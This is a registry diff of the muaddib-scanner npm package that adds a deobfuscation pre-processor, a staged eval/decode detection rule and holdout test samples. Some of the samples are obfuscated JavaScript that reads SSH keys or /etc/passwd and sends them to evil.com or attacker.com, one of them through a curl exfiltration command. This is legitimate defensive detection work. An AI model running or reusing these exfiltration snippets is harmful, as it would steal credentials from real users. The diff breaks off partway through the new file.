muaddib-scanner 2.2.3 → 2.2.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.fr.md +1 -35
- package/README.md +1 -35
- package/bin/muaddib.js +6 -10
- package/datasets/holdout-v4/atob-eval/index.js +2 -0
- package/datasets/holdout-v4/atob-eval/package.json +5 -0
- package/datasets/holdout-v4/base64-require/index.js +3 -0
- package/datasets/holdout-v4/base64-require/package.json +5 -0
- package/datasets/holdout-v4/charcode-fetch/index.js +3 -0
- package/datasets/holdout-v4/charcode-fetch/package.json +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/index.js +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/package.json +5 -0
- package/datasets/holdout-v4/concat-env-steal/index.js +4 -0
- package/datasets/holdout-v4/concat-env-steal/package.json +5 -0
- package/datasets/holdout-v4/double-decode-exfil/index.js +4 -0
- package/datasets/holdout-v4/double-decode-exfil/package.json +5 -0
- package/datasets/holdout-v4/hex-array-exec/index.js +3 -0
- package/datasets/holdout-v4/hex-array-exec/package.json +5 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +10 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +5 -0
- package/datasets/holdout-v4/nested-base64-concat/index.js +4 -0
- package/datasets/holdout-v4/nested-base64-concat/package.json +5 -0
- package/datasets/holdout-v4/template-literal-hide/index.js +3 -0
- package/datasets/holdout-v4/template-literal-hide/package.json +5 -0
- package/package.json +1 -1
- package/src/index.js +6 -2
- package/src/response/playbooks.js +5 -0
- package/src/rules/index.js +13 -0
- package/src/scanner/ast.js +107 -24
- package/src/scanner/dataflow.js +18 -1
- package/src/scanner/deobfuscate.js +557 -0
package/README.fr.md
CHANGED
|
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
|
|
|
327
327
|
|
|
328
328
|
Affiche la décomposition explicable du score : contribution de chaque finding au score final, avec les poids par règle et multiplicateurs de sévérité.
|
|
329
329
|
|
|
330
|
-
### API Threat Feed
|
|
331
|
-
|
|
332
|
-
```bash
|
|
333
|
-
muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
|
|
334
|
-
muaddib serve [--port N]
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
Exporte les détections sous forme de flux JSON pour intégration SIEM.
|
|
338
|
-
|
|
339
|
-
- `muaddib feed` — Affiche le flux de menaces JSON sur stdout (filtrable par limit, sévérité, date)
|
|
340
|
-
- `muaddib serve` — Démarre un serveur HTTP (port 3000 par défaut) avec `GET /feed` et `GET /health`
|
|
341
|
-
|
|
342
|
-
```bash
|
|
343
|
-
muaddib serve --port 8080
|
|
344
|
-
# GET http://localhost:8080/feed?limit=50&severity=HIGH
|
|
345
|
-
# GET http://localhost:8080/health
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
### Logging des temps de détection
|
|
349
|
-
|
|
350
|
-
```bash
|
|
351
|
-
muaddib detections [--stats] [--json]
|
|
352
|
-
```
|
|
353
|
-
|
|
354
|
-
Historique des détections avec timestamps de première observation et métriques de lead time (délai entre la détection MUAD'DIB et l'advisory publique).
|
|
355
|
-
|
|
356
|
-
### Suivi du taux de faux positifs
|
|
357
|
-
|
|
358
|
-
```bash
|
|
359
|
-
muaddib stats [--daily] [--json]
|
|
360
|
-
```
|
|
361
|
-
|
|
362
|
-
Statistiques de scan : total scanné, clean, suspect, taux de faux positifs, nombre confirmé malveillant. Utilisez `--daily` pour le détail par jour.
|
|
363
|
-
|
|
364
330
|
### Replay ground truth
|
|
365
331
|
|
|
366
332
|
```bash
|
|
@@ -739,7 +705,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
739
705
|
- **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs (4 vagues red team + holdout promu)
|
|
740
706
|
- **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avant correction des regles (mesure de generalisation)
|
|
741
707
|
|
|
742
|
-
|
|
708
|
+
Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
|
|
743
709
|
|
|
744
710
|
---
|
|
745
711
|
|
package/README.md
CHANGED
|
@@ -327,40 +327,6 @@ muaddib scan . --breakdown
|
|
|
327
327
|
|
|
328
328
|
Shows explainable score breakdown: how each finding contributes to the final risk score, with per-rule weights and severity multipliers.
|
|
329
329
|
|
|
330
|
-
### Threat Feed API
|
|
331
|
-
|
|
332
|
-
```bash
|
|
333
|
-
muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
|
|
334
|
-
muaddib serve [--port N]
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
Export detections as a JSON threat feed for SIEM integration.
|
|
338
|
-
|
|
339
|
-
- `muaddib feed` — Output threat feed JSON to stdout (filterable by limit, severity, date)
|
|
340
|
-
- `muaddib serve` — Start an HTTP server (default port 3000) with `GET /feed` and `GET /health` endpoints
|
|
341
|
-
|
|
342
|
-
```bash
|
|
343
|
-
muaddib serve --port 8080
|
|
344
|
-
# GET http://localhost:8080/feed?limit=50&severity=HIGH
|
|
345
|
-
# GET http://localhost:8080/health
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
### Detection time logging
|
|
349
|
-
|
|
350
|
-
```bash
|
|
351
|
-
muaddib detections [--stats] [--json]
|
|
352
|
-
```
|
|
353
|
-
|
|
354
|
-
View detection history with first-seen timestamps and lead time metrics (time between MUAD'DIB detection and public advisory).
|
|
355
|
-
|
|
356
|
-
### FP rate tracking
|
|
357
|
-
|
|
358
|
-
```bash
|
|
359
|
-
muaddib stats [--daily] [--json]
|
|
360
|
-
```
|
|
361
|
-
|
|
362
|
-
View scan statistics: total scanned, clean, suspect, false positive rate, confirmed malicious count. Use `--daily` for per-day breakdown.
|
|
363
|
-
|
|
364
330
|
### Ground truth replay
|
|
365
331
|
|
|
366
332
|
```bash
|
|
@@ -742,7 +708,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
|
|
|
742
708
|
- **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves + promoted holdout
|
|
743
709
|
- **Holdout** (pre-tuning): detection rate on 10 unseen samples before any rule correction (measures generalization)
|
|
744
710
|
|
|
745
|
-
|
|
711
|
+
See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
|
|
746
712
|
|
|
747
713
|
---
|
|
748
714
|
|
package/bin/muaddib.js
CHANGED
|
@@ -31,6 +31,7 @@ let temporalPublishMode = false;
|
|
|
31
31
|
let temporalMaintainerMode = false;
|
|
32
32
|
let temporalFullMode = false;
|
|
33
33
|
let breakdownMode = false;
|
|
34
|
+
let noDeobfuscate = false;
|
|
34
35
|
let feedLimit = null;
|
|
35
36
|
let feedSeverity = null;
|
|
36
37
|
let feedSince = null;
|
|
@@ -110,6 +111,8 @@ for (let i = 0; i < options.length; i++) {
|
|
|
110
111
|
temporalMaintainerMode = true;
|
|
111
112
|
} else if (options[i] === '--breakdown') {
|
|
112
113
|
breakdownMode = true;
|
|
114
|
+
} else if (options[i] === '--no-deobfuscate') {
|
|
115
|
+
noDeobfuscate = true;
|
|
113
116
|
} else if (options[i] === '--temporal') {
|
|
114
117
|
temporalMode = true;
|
|
115
118
|
} else if (options[i] === '--limit') {
|
|
@@ -363,15 +366,6 @@ const helpText = `
|
|
|
363
366
|
muaddib scrape Scrape new IOCs
|
|
364
367
|
muaddib sandbox <pkg> [--strict] [--no-canary] Analyze in isolated Docker container
|
|
365
368
|
muaddib sandbox-report <pkg> Sandbox + detailed network report
|
|
366
|
-
muaddib feed [options] Threat feed (JSON)
|
|
367
|
-
muaddib serve [options] Start threat feed HTTP server
|
|
368
|
-
muaddib detections List recent detections
|
|
369
|
-
muaddib detections --stats Show aggregated detection stats
|
|
370
|
-
muaddib detections --json Raw JSON output
|
|
371
|
-
muaddib stats Show scan stats + FP rate
|
|
372
|
-
muaddib stats --daily Last 7 days daily breakdown
|
|
373
|
-
muaddib stats --json Raw JSON dump
|
|
374
|
-
muaddib evaluate Evaluate scanner effectiveness (TPR, FPR, ADR)
|
|
375
369
|
muaddib version Show version
|
|
376
370
|
|
|
377
371
|
Replay Options:
|
|
@@ -404,6 +398,7 @@ const helpText = `
|
|
|
404
398
|
--temporal-maintainer Detect maintainer changes (new maintainer, account takeover)
|
|
405
399
|
--temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
|
|
406
400
|
--no-canary Disable honey token injection in sandbox
|
|
401
|
+
--no-deobfuscate Disable deobfuscation pre-processing
|
|
407
402
|
--exclude [dir] Exclude directory from scan (repeatable)
|
|
408
403
|
--limit [n] Limit feed entries (default: 50)
|
|
409
404
|
--severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
|
|
@@ -444,7 +439,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
|
|
|
444
439
|
temporalMaintainer: temporalMaintainerMode || temporalFullMode,
|
|
445
440
|
exclude: excludeDirs,
|
|
446
441
|
entropyThreshold: entropyThreshold,
|
|
447
|
-
breakdown: breakdownMode
|
|
442
|
+
breakdown: breakdownMode,
|
|
443
|
+
noDeobfuscate: noDeobfuscate
|
|
448
444
|
}).then(exitCode => {
|
|
449
445
|
process.exit(exitCode);
|
|
450
446
|
}).catch(err => {
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
// Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
|
|
2
|
+
const h = String.fromCharCode(...[111, 115]);
|
|
3
|
+
const m = require(h).homedir();
|
|
4
|
+
const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
|
|
5
|
+
require('https').request('https://evil.com').write(f);
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
// Holdout v4 — double-decode-exfil: double base64 encoding
|
|
2
|
+
const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
|
|
3
|
+
const proc = require(modName);
|
|
4
|
+
proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');
|
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
// Holdout v4 — hex-array-exec: shell command hidden in hex array
|
|
2
|
+
const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
|
|
3
|
+
require('child_process').exec(cmd);
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
// Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
|
|
2
|
+
// Module name via charCode
|
|
3
|
+
const modName = String.fromCharCode(102, 115);
|
|
4
|
+
// Path via base64
|
|
5
|
+
const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
|
|
6
|
+
// URL via concat
|
|
7
|
+
const host = 'https://' + 'att' + 'acker' + '.com';
|
|
8
|
+
|
|
9
|
+
const data = require(modName).readFileSync(credPath, 'utf8');
|
|
10
|
+
require('https').request(host, { method: 'POST' }, () => {}).write(data);
|
package/package.json
CHANGED
package/src/index.js
CHANGED
|
@@ -19,6 +19,7 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
|
|
|
19
19
|
const { ensureIOCs } = require('./ioc/bootstrap.js');
|
|
20
20
|
const { scanEntropy } = require('./scanner/entropy.js');
|
|
21
21
|
const { scanAIConfig } = require('./scanner/ai-config.js');
|
|
22
|
+
const { deobfuscate } = require('./scanner/deobfuscate.js');
|
|
22
23
|
const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
23
24
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
24
25
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
@@ -222,6 +223,9 @@ async function run(targetPath, options = {}) {
|
|
|
222
223
|
spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
|
|
223
224
|
}
|
|
224
225
|
|
|
226
|
+
// Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
|
|
227
|
+
const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
|
|
228
|
+
|
|
225
229
|
// Parallel execution of all independent scanners
|
|
226
230
|
const [
|
|
227
231
|
packageThreats,
|
|
@@ -240,11 +244,11 @@ async function run(targetPath, options = {}) {
|
|
|
240
244
|
] = await Promise.all([
|
|
241
245
|
scanPackageJson(targetPath),
|
|
242
246
|
scanShellScripts(targetPath),
|
|
243
|
-
analyzeAST(targetPath),
|
|
247
|
+
analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
|
|
244
248
|
Promise.resolve(detectObfuscation(targetPath)),
|
|
245
249
|
scanDependencies(targetPath),
|
|
246
250
|
scanHashes(targetPath),
|
|
247
|
-
analyzeDataFlow(targetPath),
|
|
251
|
+
analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
|
|
248
252
|
scanTyposquatting(targetPath),
|
|
249
253
|
Promise.resolve(scanGitHubActions(targetPath)),
|
|
250
254
|
Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),
|
|
@@ -318,6 +318,11 @@ const PLAYBOOKS = {
|
|
|
318
318
|
'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
|
|
319
319
|
'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
|
|
320
320
|
'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
|
|
321
|
+
|
|
322
|
+
staged_eval_decode:
|
|
323
|
+
'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
|
|
324
|
+
'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
|
|
325
|
+
'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
|
|
321
326
|
};
|
|
322
327
|
|
|
323
328
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -585,6 +585,19 @@ const RULES = {
|
|
|
585
585
|
mitre: 'T1027.003'
|
|
586
586
|
},
|
|
587
587
|
|
|
588
|
+
staged_eval_decode: {
|
|
589
|
+
id: 'MUADDIB-AST-021',
|
|
590
|
+
name: 'Staged Eval Decode',
|
|
591
|
+
severity: 'CRITICAL',
|
|
592
|
+
confidence: 'high',
|
|
593
|
+
description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
|
|
594
|
+
references: [
|
|
595
|
+
'https://attack.mitre.org/techniques/T1140/',
|
|
596
|
+
'https://attack.mitre.org/techniques/T1059/007/'
|
|
597
|
+
],
|
|
598
|
+
mitre: 'T1140'
|
|
599
|
+
},
|
|
600
|
+
|
|
588
601
|
env_charcode_reconstruction: {
|
|
589
602
|
id: 'MUADDIB-AST-018',
|
|
590
603
|
name: 'Environment Variable Key Reconstruction',
|
package/src/scanner/ast.js
CHANGED
|
@@ -92,22 +92,22 @@ const SANDBOX_INDICATORS = [
|
|
|
92
92
|
'/proc/self/cgroup'
|
|
93
93
|
];
|
|
94
94
|
|
|
95
|
-
async function analyzeAST(targetPath) {
|
|
95
|
+
async function analyzeAST(targetPath, options = {}) {
|
|
96
96
|
const threats = [];
|
|
97
97
|
const files = findJsFiles(targetPath);
|
|
98
98
|
|
|
99
99
|
for (const file of files) {
|
|
100
100
|
const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
|
|
101
|
-
|
|
101
|
+
|
|
102
102
|
if (EXCLUDED_FILES.includes(relativePath)) {
|
|
103
103
|
continue;
|
|
104
104
|
}
|
|
105
|
-
|
|
105
|
+
|
|
106
106
|
// Ignore files in dev folders
|
|
107
107
|
if (isDevFile(relativePath)) {
|
|
108
108
|
continue;
|
|
109
109
|
}
|
|
110
|
-
|
|
110
|
+
|
|
111
111
|
try {
|
|
112
112
|
const stat = fs.statSync(file);
|
|
113
113
|
if (stat.size > MAX_FILE_SIZE) continue;
|
|
@@ -119,8 +119,26 @@ async function analyzeAST(targetPath) {
|
|
|
119
119
|
} catch {
|
|
120
120
|
continue;
|
|
121
121
|
}
|
|
122
|
+
|
|
123
|
+
// Analyze original code first (preserves obfuscation-detection rules)
|
|
122
124
|
const fileThreats = analyzeFile(content, file, targetPath);
|
|
123
125
|
threats.push(...fileThreats);
|
|
126
|
+
|
|
127
|
+
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
128
|
+
if (typeof options.deobfuscate === 'function') {
|
|
129
|
+
try {
|
|
130
|
+
const result = options.deobfuscate(content);
|
|
131
|
+
if (result.transforms.length > 0) {
|
|
132
|
+
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
133
|
+
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
134
|
+
for (const dt of deobThreats) {
|
|
135
|
+
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
136
|
+
threats.push(dt);
|
|
137
|
+
}
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
} catch { /* deobfuscation failed — skip */ }
|
|
141
|
+
}
|
|
124
142
|
}
|
|
125
143
|
|
|
126
144
|
return threats;
|
|
@@ -137,6 +155,34 @@ function hasOnlyStringLiteralArgs(node) {
|
|
|
137
155
|
return node.arguments.every(arg => arg.type === 'Literal' && typeof arg.value === 'string');
|
|
138
156
|
}
|
|
139
157
|
|
|
158
|
+
/**
|
|
159
|
+
* Returns true if a node is a decode call: atob(str) or Buffer.from(str,'base64').toString()
|
|
160
|
+
* Used to detect staged eval/Function decode patterns.
|
|
161
|
+
*/
|
|
162
|
+
function hasDecodeArg(node) {
|
|
163
|
+
if (!node || typeof node !== 'object') return false;
|
|
164
|
+
// atob('...')
|
|
165
|
+
if (node.type === 'CallExpression' &&
|
|
166
|
+
node.callee?.type === 'Identifier' && node.callee.name === 'atob') {
|
|
167
|
+
return true;
|
|
168
|
+
}
|
|
169
|
+
// Buffer.from('...', 'base64').toString()
|
|
170
|
+
if (node.type === 'CallExpression' &&
|
|
171
|
+
node.callee?.type === 'MemberExpression' &&
|
|
172
|
+
node.callee.property?.name === 'toString') {
|
|
173
|
+
const inner = node.callee.object;
|
|
174
|
+
if (inner?.type === 'CallExpression' &&
|
|
175
|
+
inner.callee?.type === 'MemberExpression' &&
|
|
176
|
+
inner.callee.object?.name === 'Buffer' &&
|
|
177
|
+
inner.callee.property?.name === 'from' &&
|
|
178
|
+
inner.arguments?.length >= 2 &&
|
|
179
|
+
inner.arguments[1]?.value === 'base64') {
|
|
180
|
+
return true;
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
return false;
|
|
184
|
+
}
|
|
185
|
+
|
|
140
186
|
/**
|
|
141
187
|
* Checks if an AST subtree contains decode patterns (base64, atob, fromCharCode).
|
|
142
188
|
*/
|
|
@@ -391,6 +437,23 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
391
437
|
}
|
|
392
438
|
}
|
|
393
439
|
|
|
440
|
+
// Detect chained: require(non-literal).exec(...) — direct dynamic require + exec
|
|
441
|
+
if ((execName || memberExec) && node.callee.type === 'MemberExpression' &&
|
|
442
|
+
node.callee.object?.type === 'CallExpression') {
|
|
443
|
+
const innerCall = node.callee.object;
|
|
444
|
+
const innerName = getCallName(innerCall);
|
|
445
|
+
if (innerName === 'require' && innerCall.arguments.length > 0 &&
|
|
446
|
+
innerCall.arguments[0]?.type !== 'Literal') {
|
|
447
|
+
const method = execName || memberExec;
|
|
448
|
+
threats.push({
|
|
449
|
+
type: 'dynamic_require_exec',
|
|
450
|
+
severity: 'CRITICAL',
|
|
451
|
+
message: `${method}() chained on dynamic require() — obfuscated module + command execution.`,
|
|
452
|
+
file: path.relative(basePath, filePath)
|
|
453
|
+
});
|
|
454
|
+
}
|
|
455
|
+
}
|
|
456
|
+
|
|
394
457
|
// Detect sandbox/container evasion: fs.accessSync('/.dockerenv'), fs.existsSync('/.dockerenv'), etc.
|
|
395
458
|
if (node.callee.type === 'MemberExpression' && node.callee.property?.type === 'Identifier') {
|
|
396
459
|
const fsMethod = node.callee.property.name;
|
|
@@ -608,27 +671,47 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
608
671
|
|
|
609
672
|
if (callName === 'eval') {
|
|
610
673
|
hasEvalInFile = true;
|
|
611
|
-
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
:
|
|
618
|
-
|
|
619
|
-
}
|
|
674
|
+
// Detect staged eval decode: eval(atob(...)) or eval(Buffer.from(...).toString())
|
|
675
|
+
if (node.arguments.length === 1 && hasDecodeArg(node.arguments[0])) {
|
|
676
|
+
threats.push({
|
|
677
|
+
type: 'staged_eval_decode',
|
|
678
|
+
severity: 'CRITICAL',
|
|
679
|
+
message: 'eval() with decode argument (atob/Buffer.from base64) — staged payload execution.',
|
|
680
|
+
file: path.relative(basePath, filePath)
|
|
681
|
+
});
|
|
682
|
+
} else {
|
|
683
|
+
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
684
|
+
threats.push({
|
|
685
|
+
type: 'dangerous_call_eval',
|
|
686
|
+
severity: isConstant ? 'LOW' : 'HIGH',
|
|
687
|
+
message: isConstant
|
|
688
|
+
? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
|
|
689
|
+
: 'Dangerous call "eval" with dynamic expression detected.',
|
|
690
|
+
file: path.relative(basePath, filePath)
|
|
691
|
+
});
|
|
692
|
+
}
|
|
620
693
|
} else if (callName === 'Function') {
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
|
|
631
|
-
|
|
694
|
+
// Detect staged Function decode: new Function(atob(...))
|
|
695
|
+
if (node.arguments.length >= 1 && hasDecodeArg(node.arguments[node.arguments.length - 1])) {
|
|
696
|
+
threats.push({
|
|
697
|
+
type: 'staged_eval_decode',
|
|
698
|
+
severity: 'CRITICAL',
|
|
699
|
+
message: 'Function() with decode argument (atob/Buffer.from base64) — staged payload execution.',
|
|
700
|
+
file: path.relative(basePath, filePath)
|
|
701
|
+
});
|
|
702
|
+
} else {
|
|
703
|
+
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
704
|
+
// Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
|
|
705
|
+
// Common in template engines (lodash, handlebars) and globalThis polyfills.
|
|
706
|
+
threats.push({
|
|
707
|
+
type: 'dangerous_call_function',
|
|
708
|
+
severity: isConstant ? 'LOW' : 'MEDIUM',
|
|
709
|
+
message: isConstant
|
|
710
|
+
? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
|
|
711
|
+
: 'Function() with dynamic expression (template/factory pattern).',
|
|
712
|
+
file: path.relative(basePath, filePath)
|
|
713
|
+
});
|
|
714
|
+
}
|
|
632
715
|
}
|
|
633
716
|
},
|
|
634
717
|
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -6,7 +6,7 @@ const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
|
|
|
6
6
|
|
|
7
7
|
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
8
8
|
|
|
9
|
-
async function analyzeDataFlow(targetPath) {
|
|
9
|
+
async function analyzeDataFlow(targetPath, options = {}) {
|
|
10
10
|
const threats = [];
|
|
11
11
|
const files = findJsFiles(targetPath);
|
|
12
12
|
|
|
@@ -35,8 +35,25 @@ async function analyzeDataFlow(targetPath) {
|
|
|
35
35
|
continue;
|
|
36
36
|
}
|
|
37
37
|
|
|
38
|
+
// Analyze original code first (preserves obfuscation-detection rules)
|
|
38
39
|
const fileThreats = analyzeFile(content, file, targetPath);
|
|
39
40
|
threats.push(...fileThreats);
|
|
41
|
+
|
|
42
|
+
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
43
|
+
if (typeof options.deobfuscate === 'function') {
|
|
44
|
+
try {
|
|
45
|
+
const result = options.deobfuscate(content);
|
|
46
|
+
if (result.transforms.length > 0) {
|
|
47
|
+
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
48
|
+
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
49
|
+
for (const dt of deobThreats) {
|
|
50
|
+
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
51
|
+
threats.push(dt);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
} catch { /* deobfuscation failed — skip */ }
|
|
56
|
+
}
|
|
40
57
|
}
|
|
41
58
|
|
|
42
59
|
return threats;
|
|
@@ -0,0 +1,557 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const acorn = require('acorn');
|
|
4
|
+
const walk = require('acorn-walk');
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Lightweight static deobfuscation pre-processor.
|
|
8
|
+
* Resolves common JS obfuscation patterns via AST rewriting (no eval).
|
|
9
|
+
*
|
|
10
|
+
* @param {string} sourceCode — raw JS source
|
|
11
|
+
* @returns {{ code: string, transforms: Array<{type: string, start: number, end: number, before: string, after: string}> }}
|
|
12
|
+
*/
|
|
13
|
+
function deobfuscate(sourceCode) {
|
|
14
|
+
const transforms = [];
|
|
15
|
+
|
|
16
|
+
// Parse AST — if parsing fails, return source unchanged (fail-safe)
|
|
17
|
+
let ast;
|
|
18
|
+
try {
|
|
19
|
+
ast = acorn.parse(sourceCode, {
|
|
20
|
+
ecmaVersion: 2024,
|
|
21
|
+
sourceType: 'module',
|
|
22
|
+
allowHashBang: true,
|
|
23
|
+
ranges: true
|
|
24
|
+
});
|
|
25
|
+
} catch {
|
|
26
|
+
return { code: sourceCode, transforms };
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
// Collect replacements as { start, end, value, type, before }
|
|
30
|
+
const replacements = [];
|
|
31
|
+
|
|
32
|
+
walk.simple(ast, {
|
|
33
|
+
// ---- 1. STRING CONCAT FOLDING ----
|
|
34
|
+
// 'ch' + 'il' + 'd_' + 'process' → 'child_process'
|
|
35
|
+
BinaryExpression(node) {
|
|
36
|
+
if (node.operator !== '+') return;
|
|
37
|
+
const folded = tryFoldConcat(node);
|
|
38
|
+
if (folded === null) return;
|
|
39
|
+
// Avoid folding single literals (no transformation needed)
|
|
40
|
+
if (node.left.type === 'Literal' && node.right.type === 'Literal' &&
|
|
41
|
+
typeof node.left.value === 'string' && typeof node.right.value === 'string') {
|
|
42
|
+
// Simple two-literal concat — always fold
|
|
43
|
+
} else if (node.type === 'BinaryExpression') {
|
|
44
|
+
// Nested concat — only fold if top-level (not already inside a folded parent)
|
|
45
|
+
// We check this by not folding if parent already covers this range
|
|
46
|
+
}
|
|
47
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
48
|
+
const after = quoteString(folded);
|
|
49
|
+
replacements.push({
|
|
50
|
+
start: node.start,
|
|
51
|
+
end: node.end,
|
|
52
|
+
value: after,
|
|
53
|
+
type: 'string_concat',
|
|
54
|
+
before
|
|
55
|
+
});
|
|
56
|
+
},
|
|
57
|
+
|
|
58
|
+
// ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
|
|
59
|
+
CallExpression(node) {
|
|
60
|
+
// String.fromCharCode(99, 104, 105, 108, 100) → "child"
|
|
61
|
+
if (isStringFromCharCode(node)) {
|
|
62
|
+
const nums = extractNumericArgs(node);
|
|
63
|
+
if (nums === null) return;
|
|
64
|
+
try {
|
|
65
|
+
const decoded = String.fromCharCode(...nums);
|
|
66
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
67
|
+
const after = quoteString(decoded);
|
|
68
|
+
replacements.push({
|
|
69
|
+
start: node.start,
|
|
70
|
+
end: node.end,
|
|
71
|
+
value: after,
|
|
72
|
+
type: 'charcode',
|
|
73
|
+
before
|
|
74
|
+
});
|
|
75
|
+
} catch { /* invalid char codes — skip */ }
|
|
76
|
+
return;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// Buffer.from('...', 'base64').toString() → decoded string
|
|
80
|
+
if (isBufferBase64ToString(node)) {
|
|
81
|
+
const b64str = extractBufferBase64Arg(node);
|
|
82
|
+
if (b64str === null) return;
|
|
83
|
+
try {
|
|
84
|
+
const decoded = Buffer.from(b64str, 'base64').toString();
|
|
85
|
+
// Sanity: only replace if decoded is printable ASCII/UTF-8
|
|
86
|
+
if (!isPrintable(decoded)) return;
|
|
87
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
88
|
+
const after = quoteString(decoded);
|
|
89
|
+
replacements.push({
|
|
90
|
+
start: node.start,
|
|
91
|
+
end: node.end,
|
|
92
|
+
value: after,
|
|
93
|
+
type: 'base64',
|
|
94
|
+
before
|
|
95
|
+
});
|
|
96
|
+
} catch { /* decode failure — skip */ }
|
|
97
|
+
return;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// atob('...') → decoded string
|
|
101
|
+
if (isAtobCall(node)) {
|
|
102
|
+
const b64str = node.arguments[0]?.value;
|
|
103
|
+
if (typeof b64str !== 'string') return;
|
|
104
|
+
try {
|
|
105
|
+
const decoded = Buffer.from(b64str, 'base64').toString();
|
|
106
|
+
if (!isPrintable(decoded)) return;
|
|
107
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
108
|
+
const after = quoteString(decoded);
|
|
109
|
+
replacements.push({
|
|
110
|
+
start: node.start,
|
|
111
|
+
end: node.end,
|
|
112
|
+
value: after,
|
|
113
|
+
type: 'base64',
|
|
114
|
+
before
|
|
115
|
+
});
|
|
116
|
+
